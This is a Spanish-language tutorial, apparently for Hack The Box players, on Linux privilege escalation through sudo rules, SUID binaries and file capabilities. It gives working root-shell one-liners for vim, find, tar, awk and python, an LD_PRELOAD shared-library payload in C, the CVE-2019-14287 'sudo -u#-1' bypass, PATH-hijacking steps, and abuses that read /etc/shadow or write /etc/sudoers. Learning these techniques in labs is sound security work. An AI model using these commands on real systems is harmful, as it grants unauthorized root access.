Escalada en Linux: sudo, SUID y capabilities
Las tres comprobaciones que más roots dan en Hack The Box: qué te deja ejecutar sudo, qué binarios son SUID y qué capabilities tienen, con los abusos típicos de cada caso.
Acabas de entrar como www-data o como un usuario normal. Antes de lanzar linPEAS y perderte en 2.000 líneas, revisa a mano estas tres cosas: en las máquinas de este catálogo, sudo es con diferencia la vía de root más frecuente.
sudo -l
find / -perm -4000 -type f 2>/dev/null
getcap -r / 2>/dev/null
sudo -l
sudo -l te dice qué puedes ejecutar como otro usuario. Lee la salida con calma:
User alex may run the following commands on box:
(root) NOPASSWD: /usr/bin/vim /etc/nginx/nginx.conf
(ALL, !root) /bin/bash
(root) SETENV: /opt/scripts/backup.sh
env_keep+=LD_PRELOAD
Un binario conocido
Si es un programa normal (vim, less, find, awk, tar, git, python...), búscalo en GTFOBins, sección Sudo. Casi todos permiten abrir una shell:
sudo vim -c ':!/bin/sh'
sudo less /etc/profile # y dentro escribe !sh
sudo find . -exec /bin/sh \; -quit
sudo awk 'BEGIN {system("/bin/sh")}'
sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh
sudo git -p help config # y dentro !/bin/sh
Truco
Aunque la regla fije los argumentos (/usr/bin/vim /etc/nginx/nginx.conf), una vez dentro de vim puedes ejecutar comandos igual. Lo que importa es si el programa permite escapar a una shell.
Un script propio
Si es un script (/opt/scripts/backup.sh), léelo entero y pregúntate:
- ¿Puedo escribir en el script o en la carpeta donde está? Entonces cámbialo.
- ¿Llama a programas sin ruta absoluta (
taren vez de/usr/bin/tar)? Si la regla tieneSETENVo no haysecure_path, pon tu propiotardelante en elPATH(path hijacking). - ¿Usa
*con ficheros que controlas? Los comodines se convierten en opciones (--checkpoint-action=exec=...entar). - ¿Importa una librería de Python o carga algo de una carpeta en la que puedes escribir?
- ¿Compara con
==sin comillas en bash ([[ $pass == $input ]])? Un*lo da por bueno y puedes sacar la contraseña carácter a carácter.
LD_PRELOAD
Si en la salida sale env_keep+=LD_PRELOAD, cualquier comando permitido te sirve. Compila una librería que abra una shell al cargarse:
// /tmp/x.c -> gcc -fPIC -shared -nostartfiles -o /tmp/x.so /tmp/x.c
#include <stdlib.h>
#include <unistd.h>
void _init(void) {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/bash -p");
}
sudo LD_PRELOAD=/tmp/x.so /usr/bin/lo_que_te_dejen
(ALL, !root)
La regla (ALL, !root) /bin/bash significa "como cualquiera menos root". En sudo anterior a 1.8.28, el usuario -1 se convierte en 0 (CVE-2019-14287):
sudo -u#-1 /bin/bash
Binarios SUID
Un binario con el bit SUID se ejecuta con los permisos de su dueño. Si el dueño es root y el programa te deja ejecutar algo, eres root.
find / -perm -4000 -type f -ls 2>/dev/null
Ignora los habituales (passwd, su, mount, sudo, chsh...) y fíjate en los raros: cosas en /opt, /usr/local/bin o programas que no deberían ser SUID (find, bash, python, vim, cp). Para estos, GTFOBins tiene una sección SUID:
./find . -exec /bin/sh -p \; -quit
/usr/bin/bash -p
Importante
El -p es clave. Sin él, bash y dash se quitan los privilegios al arrancar si el UID real y el efectivo no coinciden, y acabas otra vez como tu usuario.
SUID hecho a medida
Si es un binario propio, mira qué hace antes de lanzarte a reversing:
strings -n 6 /usr/local/bin/monitor
ltrace /usr/local/bin/monitor # llamadas a librerías: system(), strcmp()...
strace -f -e trace=execve,openat /usr/local/bin/monitor
Si ves algo como system("service apache2 status"), el programa llama a service sin ruta:
cd /tmp
printf '#!/bin/bash\n/bin/bash -p\n' > service && chmod +x service
PATH=/tmp:$PATH /usr/local/bin/monitor
Si lee o escribe ficheros, prueba con enlaces simbólicos. Si es un binario con una entrada mal controlada, ya entras en terreno de buffer overflow.
Capabilities
Las capabilities reparten los poderes de root en trozos. Un binario puede tener solo uno de ellos y, aun así, ser suficiente.
getcap -r / 2>/dev/null
# /usr/bin/python3.8 = cap_setuid+ep
| Capability | Abuso |
|---|---|
cap_setuid |
Cambiar a UID 0 y abrir una shell |
cap_dac_read_search |
Leer cualquier fichero (/etc/shadow, claves SSH de root) |
cap_dac_override |
Escribir en cualquier fichero (/etc/passwd, /etc/sudoers) |
cap_chown, cap_fowner |
Hacerte dueño de /etc/shadow o cambiarle los permisos |
cap_sys_admin |
Montar sistemas de ficheros y mucho más; casi root |
cap_sys_ptrace |
Inyectar código en un proceso de root |
cap_net_raw |
Capturar tráfico (tcpdump): contraseñas en claro en la red local |
Con cap_setuid en un intérprete:
python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/bash";'
Si nada de esto funciona
Sigue con lo siguiente más probable en este catálogo: tareas cron (vigílalas con pspy), credenciales en ficheros, reutilización de contraseñas, grupos como docker, lxd o disk, y servicios que solo escuchan en local (mira la guía de port forwarding).